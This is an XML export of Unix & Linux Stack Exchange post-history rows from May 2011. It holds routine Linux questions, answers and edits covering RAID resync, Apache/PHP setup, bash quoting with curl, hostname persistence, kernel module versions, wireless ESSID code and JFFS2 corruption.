  <row Id="31655" PostHistoryTypeId="5" PostId="12865" RevisionGUID="1bdda4f1-4e40-47bd-98fe-5e060d7e9781" CreationDate="2011-05-09T09:10:22.350" UserId="1925" Comment="Fixed English" Text="I have a CentOS server with RAID5. Every time RAID5 re-syncs my server stop working. The hosting company stopped the httpd service so that RAID5 can re-sync itself, a process which can take as long as 3-4 hours.&#xD;&#xA;&#xD;&#xA;The problem reoccurs frequently, so the Hosting company swaped my server hardware and I migrated to new hardware. I still have this problem (on the new server).&#xD;&#xA;&#xD;&#xA;Is this something normal in RAID5? How can we solve this issue permanently? If every time RAID5 wants to re-sync my server overloads and my website will not be accessible, then RAID5 sucks.&#xD;&#xA;&#xD;&#xA;I would really appreciate if you can suggest a solution for this disaster.&#xD;&#xA;&#xD;&#xA;Here is /proc/mdstat report:&#xD;&#xA;&#xD;&#xA;    root@host [~]# watch 'cat /proc/mdstat'&#xD;&#xA;    Every 2.0s: cat /proc/mdstat                            Mon May  9 01:25:30 2011&#xD;&#xA;    &#xD;&#xA;    Personalities : [raid1]&#xD;&#xA;    md0 : active raid1 xvda1[0] xvdb1[1]&#xD;&#xA;          104320 blocks [2/2] [UU]&#xD;&#xA;    &#xD;&#xA;    md1 : active raid1 xvda2[0] xvdb2[1]&#xD;&#xA;          2096384 blocks [2/2] [UU]&#xD;&#xA;    &#xD;&#xA;    md2 : active raid1 xvda5[0] xvdb5[1]&#xD;&#xA;          484086528 blocks [2/2] [UU]&#xD;&#xA;          [=====&gt;...............]  resync = 29.5% (142978880/484086528) finish=77.7m&#xD;&#xA;    in speed=73108K/sec&#xD;&#xA;    &#xD;&#xA;    unused devices: &lt;none&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31656" PostHistoryTypeId="25" PostId="12862" RevisionGUID="2a7936d0-ba85-4329-bf67-12887e5d48d8" CreationDate="2011-05-09T09:11:33.997" Comment="http://twitter.com/#!/StackUnix/status/67517050465165312" />
  <row Id="31657" PostHistoryTypeId="5" PostId="12868" RevisionGUID="e16d63de-d291-4238-8a32-4d09c50c8285" CreationDate="2011-05-09T09:12:36.653" UserId="1925" Comment="added 99 characters in body" Text="As [penguin359 pointed out][1], php won't interpret anything in a html page that isn't bracketed with `&lt;?` ... `?&gt;` at the very least.&#xD;&#xA;&#xD;&#xA;If it still doesn't work after you've tried that, the first thing you should probably do is check your server's access and error logs (by default in `/var/log/apache2/access.log and /var/log/apache2/error.log` unless your distribution does something wonky; check the config files in `/etc/apache2/ for the `AccessLog` and `ErrorLog` directives), then continue troubleshooting depending on what exactly they say. &#xD;&#xA;&#xD;&#xA;If the page was accessed and no error reported, it means that the server for some reason didn't find it necessary to fire up the php parser, most likely because of a config error. &#xD;&#xA;&#xD;&#xA;There are several different ways for the php parser to be called by apache; the two most common ones are via the dynamically loaded php module, or via CGI.&#xD;&#xA;&#xD;&#xA;If it's (supposed to be) loaded via `mod_php` then your config file should contain a directive looking something like  &#xD;&#xA;&#xD;&#xA;`LoadModule php5_module /usr/lib/apache2/modules/libphp5.so`  &#xD;&#xA;in it, as well as directives instructing it to let the php5 module handle .php pages, likely something like this: &#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_php5.c&gt;&#xD;&#xA;      AddType application/x-httpd-php .php .phtml .php3 .php5&#xD;&#xA;      AddType application/x-httpd-php-source .phps&#xD;&#xA;      php_admin_flag register_globals off&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;with slight variances possible depending on how your distribution handles apache2 configuration.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If it's called via cgi instead -- generally a better option because it allows for a threaded server as well as nifty stuff like [SuEXEC][2] -- then you should again check your apache config files and look for lines saying something like  &#xD;&#xA;`AddHandler fcgid-script .php .php5`  &#xD;&#xA;&#xD;&#xA;which tell the server how to handle files ending with `.php` or `.php5`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Again, though, exactly what is wrong with your server -- assuming that it's more than just the original failure to bracket your .php file with `&lt;? ... ?&gt;` -- is hard to guess without a look at the access and error logs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/12864/apache-2-and-php-5-not-working/12867#12867&#xD;&#xA;  [2]: http://httpd.apache.org/docs/2.0/suexec.html" />
  <row Id="31658" PostHistoryTypeId="5" PostId="12848" RevisionGUID="24919f1d-b031-455a-9c4e-a8c52dc3c5cd" CreationDate="2011-05-09T09:15:03.500" UserId="1925" Comment="deleted 8 characters in body" Text="In [terminator][1], the keyboard shortcut `Ctrl+Shift+F` opens up a small bar at the bottom of the window to let the user search a text string within the terminal scrollback.&#xD;&#xA;&#xD;&#xA;Are there any keyboard shortcuts for moving to the **next** or **previous** matched item in this search? The most complete [documentation][2] I found for Terminator is included in the Ubuntu documentation, but it doesn't cover this topic in detail.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://launchpad.net/terminator&#xD;&#xA;  [2]: http://manpages.ubuntu.com/manpages/lucid/en/man1/terminator.1.html" />
  <row Id="31659" PostHistoryTypeId="5" PostId="12844" RevisionGUID="3bae1ee8-e3cb-45b6-964a-2586b89fa7e4" CreationDate="2011-05-09T09:16:20.643" UserId="1925" Comment="deleted 33 characters in body" Text="INPUT&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	RANDOMSTRING BLA-BLA [111] RANDOMSTRING BLA-BLA&#xD;&#xA;&#xD;&#xA;OUTPUT&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	RANDOMSTRING BLA-BLA [200] RANDOMSTRING BLA-BLA&#xD;&#xA;&#xD;&#xA;[111] could contain various numbers with 3 digits: 120 or 300 or 400 or 101, etc.&lt;br&gt;&#xD;&#xA;&#xD;&#xA;So all I want ~this: &lt;br&gt;&#xD;&#xA;&#xD;&#xA;	sed &quot;s/Howtos&lt;\/a&gt; \[111] \//`grep '^&lt;a href=&quot;' list.txt | wc -l`/&quot; original.txt&#xD;&#xA;&#xD;&#xA;&quot;Regexp'ing the 111&quot; that's the only thing I can't figure out&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;The output of:&#xD;&#xA;&#xD;&#xA;	grep '^&lt;a href=&quot;' list.txt | wc -l&#xD;&#xA;&#xD;&#xA;would be e.g.: 200 in the example" />
  <row Id="31660" PostHistoryTypeId="5" PostId="12838" RevisionGUID="22b859b7-42e3-4c04-a44e-2ea33830a6b1" CreationDate="2011-05-09T09:26:56.417" UserId="1925" Comment="deleted 59 characters in body" Text="Terms regarding the OS:&#xD;&#xA;&#xD;&#xA; - Must be installed on pendrive&#xD;&#xA; - It must contain software for office use&#xD;&#xA; - Need to save files, GUI settings on it (auto)&#xD;&#xA;&#xD;&#xA;So I'm not searching for a LiveCD.&#xD;&#xA;&#xD;&#xA;What could be the best choice?" />
  <row Id="31661" PostHistoryTypeId="5" PostId="12829" RevisionGUID="ffc7d39b-cbae-4691-8cb8-e2ef54654f0f" CreationDate="2011-05-09T09:32:57.550" UserId="1925" Comment="deleted 39 characters in body" Text="I logged in for the first time, opened terminal, and typed in ‘hostname’. It returned ‘localhost.localdomain.com’. Then I logged as the root user in terminal using the command, ‘su –‘, provided the password for the root user and used the command ‘hostname etest’ where etest is the hostname I’d like my machine to have. To test if I got my hostname changed correctly, I typed ‘hostname’ again at terminal and it returned etest.&#xD;&#xA;&#xD;&#xA;However, when I restart my machine, the hostname reverts back to ‘localhost.localdomain.com’. &#xD;&#xA;&#xD;&#xA;Here are the entire series of commands I used in terminal.  &#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;        [thomasm@localhost ~]$ hostname  &#xD;&#xA;        localhost.localdomain  &#xD;&#xA;        [thomasm@localhost ~]$ su -  &#xD;&#xA;        Password:   &#xD;&#xA;        [root@localhost ~]# hostname etest  &#xD;&#xA;        [root@localhost ~]# hostname  &#xD;&#xA;        etest&#xD;&#xA;&#xD;&#xA;I had run into the same problem when I set up RHEL and Ubuntu OS’s with VMPlayer." />
  <row Id="31662" PostHistoryTypeId="5" PostId="12824" RevisionGUID="f32f3168-cddb-4f8a-a004-738abdeffe65" CreationDate="2011-05-09T09:35:13.147" UserId="1925" Comment="deleted 5 characters in body" Text="I downloaded the sources for my kernel, applied a patch and rebuilt it and now I have a kernel module that, when I try to `insmod`, complains &quot;Unknown symbol in module&quot; with `dmesg` giving the error &quot;disagrees about the version of symbol ...&quot;.&#xD;&#xA;&#xD;&#xA;Without having to hunt down the source for this module and rebuild it against my kernel is it possible to somehow force the kernel to accept this module?&#xD;&#xA;&#xD;&#xA;I realise this would be dangerous but I'll to take the risk if its possible.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31663" PostHistoryTypeId="2" PostId="12874" RevisionGUID="bae8adc8-1c26-4639-b0cf-4edce047d9ad" CreationDate="2011-05-09T09:37:17.060" UserId="1925" Text="If you rebuilt the same kernel version and are getting that error, chances are the patch you applied changed something that in the kernel that is referenced by the module. That pretty much guarantees it's going to blow up. You will need to find the source for that module and compile it again against your new kernel so that it has the correct references.&#xD;&#xA;&#xD;&#xA;There is also some chance it will fail to compile at all and need to be modified to match whatever modifications your kernel patch made." />
  <row Id="31664" PostHistoryTypeId="2" PostId="12875" RevisionGUID="274e3048-67d8-4a02-a82d-d1e8741b6343" CreationDate="2011-05-09T09:44:06.480" UserId="5075" Text="My script looks like&#xD;&#xA;&#xD;&#xA;    opts=&quot;-x ''&quot;&#xD;&#xA;    curl http://somepage $opts&#xD;&#xA;&#xD;&#xA;I want the sting in $opts appended to the command. I use bash -x test.sh to check the expansion, the the single-quotes are removed.&#xD;&#xA;&#xD;&#xA;If I change it to&#xD;&#xA;&#xD;&#xA;    opts=&quot;-x \'\'&quot;&#xD;&#xA;&#xD;&#xA;After expansion, there are 4 single-quotes. " />
  <row Id="31665" PostHistoryTypeId="1" PostId="12875" RevisionGUID="274e3048-67d8-4a02-a82d-d1e8741b6343" CreationDate="2011-05-09T09:44:06.480" UserId="5075" Text="bash quotes expansion puzzle" />
  <row Id="31666" PostHistoryTypeId="3" PostId="12875" RevisionGUID="274e3048-67d8-4a02-a82d-d1e8741b6343" CreationDate="2011-05-09T09:44:06.480" UserId="5075" Text="ébashà" />
  <row Id="31667" PostHistoryTypeId="5" PostId="12875" RevisionGUID="985cff50-935d-422b-a0d0-165b8d71e17d" CreationDate="2011-05-09T09:47:24.177" UserId="1925" Comment="added 18 characters in body" Text="My script looks like:&#xD;&#xA;&#xD;&#xA;    opts=&quot;-x ''&quot;&#xD;&#xA;    curl http://somepage $opts&#xD;&#xA;&#xD;&#xA;I want the string in `$opts` appended to the command. I use `bash -x test.sh` to check the expansion and see that the the single-quotes are removed.&#xD;&#xA;&#xD;&#xA;If I change it to:&#xD;&#xA;&#xD;&#xA;    opts=&quot;-x \'\'&quot;&#xD;&#xA;&#xD;&#xA;After expansion, there are 4 single-quotes." />
  <row Id="31668" PostHistoryTypeId="17" PostId="12877" RevisionGUID="905aed87-76d3-440c-9ade-f30fcb565aae" CreationDate="2011-05-09T11:13:13.823" UserId="-1" Comment="from http://stackoverflow.com/questions/1632369/font-getting-reset-in-virtual-console-on-gnu-linux/1877594#1877594" Text="" />
  <row Id="31669" PostHistoryTypeId="2" PostId="12877" RevisionGUID="6078132f-24ee-4ef1-9129-487c5724b07f" CreationDate="2009-12-09T23:11:17.080" UserDisplayName="Peter Cordes" Text="Often the X server will save the old video state when it starts, and restore that when switching back to the text console.  If you change the text console video state in between, it will get clobbered.  Maybe KMS (kernel mode setting) will fix this?" />
  <row Id="31670" PostHistoryTypeId="2" PostId="12876" RevisionGUID="095b7531-623d-4d75-8830-115e2ee22f9e" CreationDate="2009-10-27T17:23:30.913" UserDisplayName="user197507" Text="Greetings.&#xD;&#xA;&#xD;&#xA;I have set a custom font on my virtual console (vt1) using the following command:&#xD;&#xA;&#xD;&#xA;shell&gt; setfont ter-114f&#xD;&#xA;&#xD;&#xA;If I switch to X (using Ctrl+Alt+F7) and come back to the virtual console (using Ctrl+Alt+F1), the display isn't proper.  Looks like the screen size is getting reset (previously set to 28 rows before switching).&#xD;&#xA;&#xD;&#xA;How can this be fixed?&#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;" />
  <row Id="31671" PostHistoryTypeId="1" PostId="12876" RevisionGUID="095b7531-623d-4d75-8830-115e2ee22f9e" CreationDate="2009-10-27T17:23:30.913" UserDisplayName="user197507" Text="Font getting reset in virtual console on GNU/Linux" />
  <row Id="31672" PostHistoryTypeId="3" PostId="12876" RevisionGUID="095b7531-623d-4d75-8830-115e2ee22f9e" CreationDate="2009-10-27T17:23:30.913" UserDisplayName="user197507" Text="élinuxà" />
  <row Id="31673" PostHistoryTypeId="17" PostId="12876" RevisionGUID="a400932c-ff9d-443c-955d-2fb7864ace73" CreationDate="2011-05-09T11:13:13.823" UserId="-1" Comment="from http://stackoverflow.com/questions/1632369/font-getting-reset-in-virtual-console-on-gnu-linux" Text="" />
  <row Id="31674" PostHistoryTypeId="2" PostId="12878" RevisionGUID="4103eb86-d9fe-4b0b-a113-68a5c8ec09c2" CreationDate="2011-05-09T11:22:01.063" UserId="3645" Text="This is because what you want is to pass a literal empty string to `curl`, but what you get is a set of literal quotes since they are already quoted. One [reference][1] points to [another][2] which simply recommends using a function:&#xD;&#xA;&#xD;&#xA;    download(){&#xD;&#xA;        curl http://somepage &quot;$@&quot;&#xD;&#xA;    }&#xD;&#xA;    download -x ''&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mywiki.wooledge.org/BashFAQ/050&#xD;&#xA;  [2]: http://mywiki.wooledge.org/Arguments#Conclusion" />
  <row Id="31675" PostHistoryTypeId="2" PostId="12879" RevisionGUID="2dc4044e-c7a6-467f-b9bc-00f910858bf8" CreationDate="2011-05-09T11:53:27.677" UserId="885" Text="What exactly do you see? With the script&#xD;&#xA;&#xD;&#xA;    opts=&quot;-x ''&quot;&#xD;&#xA;    echo curl http://somepage $opts&#xD;&#xA;    opts=&quot;-x \'\'&quot;&#xD;&#xA;    echo curl http://somepage $opts&#xD;&#xA;&#xD;&#xA;With bash 3.2.39 or 4.1.5, I see&#xD;&#xA;&#xD;&#xA;    + opts='-x '\'''\'''&#xD;&#xA;    + echo curl http://somepage -x ''\'''\'''&#xD;&#xA;    curl http://somepage -x ''&#xD;&#xA;    + opts='-x \'\''\'\'''&#xD;&#xA;    + echo curl http://somepage -x '\'\''\'\'''&#xD;&#xA;&#xD;&#xA;The first call to `curl` (well, `echo curl`) has a last argument consisting of two characters `''`. The trace escapes special characters: `'` appears as `'\''` (a common idiom to “escape” single quotes inside single quotes). Formally, `''\'''\'''` consists of an empty single-quoted string `''` followed by the backslash-quoted character `\'`, then again `''`, again `\'`, and a final `''`. (Ksh shows this as the slightly more readable `$'\'\''`.) The second call passes four characters `\'\'`.&#xD;&#xA;&#xD;&#xA;Under the normal sh parsing rules, you can't make an empty argument by expanding an unquoted variable. Word splitting cuts only where there's a non-whitespace or quoted character.&#xD;&#xA;&#xD;&#xA;Since you're using bash, you can put multiple options in an array. This also works in ksh and zsh.&#xD;&#xA;&#xD;&#xA;    opts=(-x &quot;&quot;)&#xD;&#xA;    curl http://somepage &quot;${opts[@]}&quot;&#xD;&#xA;&#xD;&#xA;For this particular case, you can override the environment variable instead.&#xD;&#xA;&#xD;&#xA;    http_proxy= curl http://somepage&#xD;&#xA;" />
  <row Id="31676" PostHistoryTypeId="6" PostId="12875" RevisionGUID="cf7d516f-7683-4a82-8367-6998d4e91b6b" CreationDate="2011-05-09T11:53:46.367" UserId="885" Comment="edited tags" Text="ébashàéquotingà" />
  <row Id="31677" PostHistoryTypeId="5" PostId="12876" RevisionGUID="664a9714-14cc-418a-aa1d-e53074c5759e" CreationDate="2011-05-09T11:56:16.567" UserId="885" Comment="deleted 32 characters in body; edited tags" Text="I have set a custom font on my virtual console (vt1) using the following command:&#xD;&#xA;&#xD;&#xA;    shell&gt; setfont ter-114f&#xD;&#xA;&#xD;&#xA;If I switch to X (using Ctrl+Alt+F7) and come back to the virtual console (using Ctrl+Alt+F1), the display isn't proper.  Looks like the screen size is getting reset (previously set to 28 rows before switching).&#xD;&#xA;&#xD;&#xA;How can this be fixed?&#xD;&#xA;" />
  <row Id="31678" PostHistoryTypeId="6" PostId="12876" RevisionGUID="664a9714-14cc-418a-aa1d-e53074c5759e" CreationDate="2011-05-09T11:56:16.567" UserId="885" Comment="deleted 32 characters in body; edited tags" Text="élinuxàéfontsàéconsoleà" />
  <row Id="31679" PostHistoryTypeId="2" PostId="12880" RevisionGUID="bd54ee83-a61d-4749-af34-233b982db55c" CreationDate="2011-05-09T12:04:42.867" UserId="4480" Text="Have you tried [Avant Window Navigator / AWN][1]? It has the pinning feature you're after and does not require compositing although doesn't work well without it (for example you can't customise the theme). So far it's the best panel I've come across, mainly because of the pinning feature :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://launchpad.net/awn &quot;avant-window-navigator&quot;" />
  <row Id="31680" PostHistoryTypeId="25" PostId="12875" RevisionGUID="ee4cf951-f35e-4ce4-95be-34b84d709e26" CreationDate="2011-05-09T12:11:34.463" Comment="http://twitter.com/#!/StackUnix/status/67562350458322945" />
  <row Id="31682" PostHistoryTypeId="2" PostId="12881" RevisionGUID="38b0fb5d-a59d-4d30-bec4-7889abbda4c0" CreationDate="2011-05-09T12:30:48.340" UserId="7338" Text="Hello I have written the following program to get the ESSID of the current wireless network with which my Desktop is currently connected. But it is giving me errors.If possible please correct the bugs. Code&#xD;&#xA;&#xD;&#xA;    #include &lt;stdio.h&gt;&#xD;&#xA;    #include &lt;stdlib.h&gt;&#xD;&#xA;    #include &lt;string.h&gt;&#xD;&#xA;    #include &lt;sys/ioctl.h&gt;&#xD;&#xA;    #include &lt;sys/stat.h&gt;&#xD;&#xA;    #include &lt;sys/socket.h&gt;&#xD;&#xA;    #include &lt;sys/types.h&gt; &#xD;&#xA;    #include &lt;fcntl.h&gt;&#xD;&#xA;    #include &lt;errno.h&gt;&#xD;&#xA;    #include &lt;linux/wireless.h&gt;&#xD;&#xA;&#xD;&#xA;    #define IW_INTERFACE &quot;wlan0&quot;&#xD;&#xA;&#xD;&#xA;    extern int errno;&#xD;&#xA;    struct iwreq wreq;&#xD;&#xA;&#xD;&#xA;    int main (void)&#xD;&#xA;    {&#xD;&#xA;    int sockfd;&#xD;&#xA;    char * id;&#xD;&#xA;&#xD;&#xA;    memset(&amp;wreq, 0, sizeof(struct iwreq));&#xD;&#xA;    sprintf(wreq.ifr_name, IW_INTERFACE);&#xD;&#xA;&#xD;&#xA;    if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {&#xD;&#xA;    fprintf(stderr, &quot;Cannot open socket \n&quot;);&#xD;&#xA;    fprintf(stderr, &quot;errno = %d \n&quot;, errno);&#xD;&#xA;    fprintf(stderr, &quot;Error description is : %s\n&quot;,strerror(errno));&#xD;&#xA;    exit(1);&#xD;&#xA;    }&#xD;&#xA;    printf(&quot;Socket opened successfully \n&quot;);&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    id = new char(IW_ESSID_MAX_SIZE+1);&#xD;&#xA;    wreq.u.essid.pointer = id;&#xD;&#xA;    if (ioctl(sockfd,SIOCGIWESSID, &amp;wreq)) {&#xD;&#xA;    fprintf(stderr, &quot;Get ESSID ioctl failed \n&quot;);&#xD;&#xA;    fprintf(stderr, &quot;errno = %d \n&quot;, errno);&#xD;&#xA;    fprintf(stderr, &quot;Error description : %s\n&quot;,strerror(errno));&#xD;&#xA;    exit(2);&#xD;&#xA;    }&#xD;&#xA;    printf(&quot;IOCTL Successfull\n&quot;);&#xD;&#xA;    printf(&quot;ESSID is %s\n&quot;, wreq.u.essid.pointer);&#xD;&#xA;    exit(0);&#xD;&#xA;    }&#xD;&#xA;I am getting following error.Please correct the bugs&#xD;&#xA;      &gt; 1. Get ESSID ioctl failed &#xD;&#xA;      &gt; 2. errno = 7 &#xD;&#xA;      &gt; 3. Error description : Argument list too long&#xD;&#xA;" />
  <row Id="31683" PostHistoryTypeId="1" PostId="12881" RevisionGUID="38b0fb5d-a59d-4d30-bec4-7889abbda4c0" CreationDate="2011-05-09T12:30:48.340" UserId="7338" Text="Want to know the ESSID of wireless network via C++ in UBUNTU" />
  <row Id="31684" PostHistoryTypeId="3" PostId="12881" RevisionGUID="38b0fb5d-a59d-4d30-bec4-7889abbda4c0" CreationDate="2011-05-09T12:30:48.340" UserId="7338" Text="éubuntuàéwirelessàécà" />
  <row Id="31685" PostHistoryTypeId="5" PostId="12881" RevisionGUID="8805dac7-b874-448f-b64e-6221e50ae0c6" CreationDate="2011-05-09T12:33:25.250" UserId="1925" Comment="Fix formatting and English, reworded question for clarity." Text="I have written the following program to get the ESSID of the wireless network to which my Desktop is currently connected, but it is giving me errors. Can anyone help me correct the bugs? Code:&#xD;&#xA;&#xD;&#xA;    #include &lt;stdio.h&gt;&#xD;&#xA;    #include &lt;stdlib.h&gt;&#xD;&#xA;    #include &lt;string.h&gt;&#xD;&#xA;    #include &lt;sys/ioctl.h&gt;&#xD;&#xA;    #include &lt;sys/stat.h&gt;&#xD;&#xA;    #include &lt;sys/socket.h&gt;&#xD;&#xA;    #include &lt;sys/types.h&gt; &#xD;&#xA;    #include &lt;fcntl.h&gt;&#xD;&#xA;    #include &lt;errno.h&gt;&#xD;&#xA;    #include &lt;linux/wireless.h&gt;&#xD;&#xA;&#xD;&#xA;    #define IW_INTERFACE &quot;wlan0&quot;&#xD;&#xA;&#xD;&#xA;    extern int errno;&#xD;&#xA;    struct iwreq wreq;&#xD;&#xA;&#xD;&#xA;    int main (void)&#xD;&#xA;    {&#xD;&#xA;    int sockfd;&#xD;&#xA;    char * id;&#xD;&#xA;&#xD;&#xA;    memset(&amp;wreq, 0, sizeof(struct iwreq));&#xD;&#xA;    sprintf(wreq.ifr_name, IW_INTERFACE);&#xD;&#xA;&#xD;&#xA;    if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {&#xD;&#xA;    fprintf(stderr, &quot;Cannot open socket \n&quot;);&#xD;&#xA;    fprintf(stderr, &quot;errno = %d \n&quot;, errno);&#xD;&#xA;    fprintf(stderr, &quot;Error description is : %s\n&quot;,strerror(errno));&#xD;&#xA;    exit(1);&#xD;&#xA;    }&#xD;&#xA;    printf(&quot;Socket opened successfully \n&quot;);&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    id = new char(IW_ESSID_MAX_SIZE+1);&#xD;&#xA;    wreq.u.essid.pointer = id;&#xD;&#xA;    if (ioctl(sockfd,SIOCGIWESSID, &amp;wreq)) {&#xD;&#xA;    fprintf(stderr, &quot;Get ESSID ioctl failed \n&quot;);&#xD;&#xA;    fprintf(stderr, &quot;errno = %d \n&quot;, errno);&#xD;&#xA;    fprintf(stderr, &quot;Error description : %s\n&quot;,strerror(errno));&#xD;&#xA;    exit(2);&#xD;&#xA;    }&#xD;&#xA;    printf(&quot;IOCTL Successfull\n&quot;);&#xD;&#xA;    printf(&quot;ESSID is %s\n&quot;, wreq.u.essid.pointer);&#xD;&#xA;    exit(0);&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I am getting following error:&#xD;&#xA;&#xD;&#xA;      &gt; 1. Get ESSID ioctl failed &#xD;&#xA;      &gt; 2. errno = 7 &#xD;&#xA;      &gt; 3. Error description : Argument list too long&#xD;&#xA;" />
  <row Id="31686" PostHistoryTypeId="2" PostId="12882" RevisionGUID="9ded73b2-5eb0-4882-bf5d-aedad7424ce4" CreationDate="2011-04-06T19:38:07.243" UserDisplayName="C Nielsen" Text="I'm have a JFFS2 root filesystem running on a large NAND device.  Every once in a while, when I restart the computer, I get error messages about invalid ELF headers when /sbin/init or /bin/login try to load dynamically linked shared libraries from the /lib folder&#xD;&#xA;&#xD;&#xA;The errors cause a kernel panic and I'm stuck reflashing the NAND to get the computer up and running again.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    /sbin/init: error while loading shared libraries: /lib/libc.so.6: invalid ELF header&#xD;&#xA;    Kernel panic - not syncing: Attempted to kill init!&#xD;&#xA;    Call Trace:&#xD;&#xA;    [dffc1d20] [c0007c74]  (unreliable)&#xD;&#xA;    [dffc1d60] [c0020d68] &#xD;&#xA;    [dffc1db0] [c0025074] &#xD;&#xA;    [dffc1e80] [c00250bc] &#xD;&#xA;    [dffc1f40] [c000f340] &#xD;&#xA;&#xD;&#xA;It seems that somehow the dynamically linked libraries in the /lib folder are becoming corrupted.  I don't *think* that dynamically linked libraries are even written to disk during normal operation (unless you're doing an update).  So that rules out a partial write with a loss of power causing the corruption.&#xD;&#xA;&#xD;&#xA;So the only other causes I can think of are that either JFFS2 has some sort of terrible bug that is corrupting files that aren't even being written to?  Or the NAND itself is being corrupted?  &#xD;&#xA;&#xD;&#xA;Does anyone have any other ideas?  Or am I way off base?" />
  <row Id="31687" PostHistoryTypeId="1" PostId="12882" RevisionGUID="9ded73b2-5eb0-4882-bf5d-aedad7424ce4" CreationDate="2011-04-06T19:38:07.243" UserDisplayName="C Nielsen" Text="Problem on Linux NAND Root Filesystem" />
  <row Id="31688" PostHistoryTypeId="3" PostId="12882" RevisionGUID="9ded73b2-5eb0-4882-bf5d-aedad7424ce4" CreationDate="2011-04-06T19:38:07.243" UserDisplayName="C Nielsen" Text="élinuxàémemoryàéfilesystemsàécorruptionà" />
  <row Id="31689" PostHistoryTypeId="17" PostId="12882" RevisionGUID="eaf8c415-8070-45a0-946b-2a59a4876431" CreationDate="2011-05-09T12:34:26.123" UserId="-1" Comment="from http://stackoverflow.com/questions/5572020/problem-on-linux-nand-root-filesystem" Text="" />
  <row Id="31691" PostHistoryTypeId="2" PostId="12884" RevisionGUID="92879859-9a9b-446c-b97f-478fda0b4484" CreationDate="2011-05-09T13:33:34.477" UserId="3389" Text="Are you mounting the root partition, or whatever partition your libraries exist on with the &quot;noatime&quot; option?  If not, every access is causing a write." />
  <row Id="31692" PostHistoryTypeId="5" PostId="12881" RevisionGUID="5f5ac087-b02f-44b5-b2c7-351147fdb1cc" CreationDate="2011-05-09T13:37:41.177" UserId="1078" Comment="added 6 characters in body" Text="I have written the following program to get the ESSID of the wireless network to which my Desktop is currently connected, but it is giving me errors. Can anyone help me correct the bugs? Code:&#xD;&#xA;&#xD;&#xA;    #include &lt;stdio.h&gt;&#xD;&#xA;    #include &lt;stdlib.h&gt;&#xD;&#xA;    #include &lt;string.h&gt;&#xD;&#xA;    #include &lt;sys/ioctl.h&gt;&#xD;&#xA;    #include &lt;sys/stat.h&gt;&#xD;&#xA;    #include &lt;sys/socket.h&gt;&#xD;&#xA;    #include &lt;sys/types.h&gt; &#xD;&#xA;    #include &lt;fcntl.h&gt;&#xD;&#xA;    #include &lt;errno.h&gt;&#xD;&#xA;    #include &lt;linux/wireless.h&gt;&#xD;&#xA;&#xD;&#xA;    #define IW_INTERFACE &quot;wlan0&quot;&#xD;&#xA;&#xD;&#xA;    extern int errno;&#xD;&#xA;    struct iwreq wreq;&#xD;&#xA;&#xD;&#xA;    int main (void)&#xD;&#xA;    {&#xD;&#xA;    int sockfd;&#xD;&#xA;    char * id;&#xD;&#xA;&#xD;&#xA;    memset(&amp;wreq, 0, sizeof(struct iwreq));&#xD;&#xA;    sprintf(wreq.ifr_name, IW_INTERFACE);&#xD;&#xA;&#xD;&#xA;    if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {&#xD;&#xA;    fprintf(stderr, &quot;Cannot open socket \n&quot;);&#xD;&#xA;    fprintf(stderr, &quot;errno = %d \n&quot;, errno);&#xD;&#xA;    fprintf(stderr, &quot;Error description is : %s\n&quot;,strerror(errno));&#xD;&#xA;    exit(1);&#xD;&#xA;    }&#xD;&#xA;    printf(&quot;Socket opened successfully \n&quot;);&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    id = new char(IW_ESSID_MAX_SIZE+1);&#xD;&#xA;    wreq.u.essid.pointer = id;&#xD;&#xA;    if (ioctl(sockfd,SIOCGIWESSID, &amp;wreq) == -1) {&#xD;&#xA;    fprintf(stderr, &quot;Get ESSID ioctl failed \n&quot;);&#xD;&#xA;    fprintf(stderr, &quot;errno = %d \n&quot;, errno);&#xD;&#xA;    fprintf(stderr, &quot;Error description : %s\n&quot;,strerror(errno));&#xD;&#xA;    exit(2);&#xD;&#xA;    }&#xD;&#xA;    printf(&quot;IOCTL Successfull\n&quot;);&#xD;&#xA;    printf(&quot;ESSID is %s\n&quot;, wreq.u.essid.pointer);&#xD;&#xA;    exit(0);&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I am getting following error:&#xD;&#xA;&#xD;&#xA;      &gt; 1. Get ESSID ioctl failed &#xD;&#xA;      &gt; 2. errno = 7 &#xD;&#xA;      &gt; 3. Error description : Argument list too long&#xD;&#xA;" />
  <row Id="31694" PostHistoryTypeId="5" PostId="12609" RevisionGUID="5f214916-8727-417c-a1c6-8b3a8909c424" CreationDate="2011-05-09T13:46:47.513" UserId="1835" Comment="use find instead of ls" Text="It depends on some nuances of your text editor.  Advanced editors can probably handle opening multiple files from the command line in one instance. But say, for example, that your editor ($EDITOR in my examples below) can only open one at a time.  You should pipe the output of an appropriate`find` into `xargs`.  This also depends on the $EDITOR not taking over the TTY (so, using a graphical one)&#xD;&#xA;&#xD;&#xA;    find . -type f -name *.c -print0 | xargs -r0n 1 $EDITOR&#xD;&#xA;&#xD;&#xA;If you want to use a console editor, a shell loop might be more appropriate:&#xD;&#xA;&#xD;&#xA;    for i in *.c; do $EDITOR &quot;$i&quot;; done&#xD;&#xA;" />
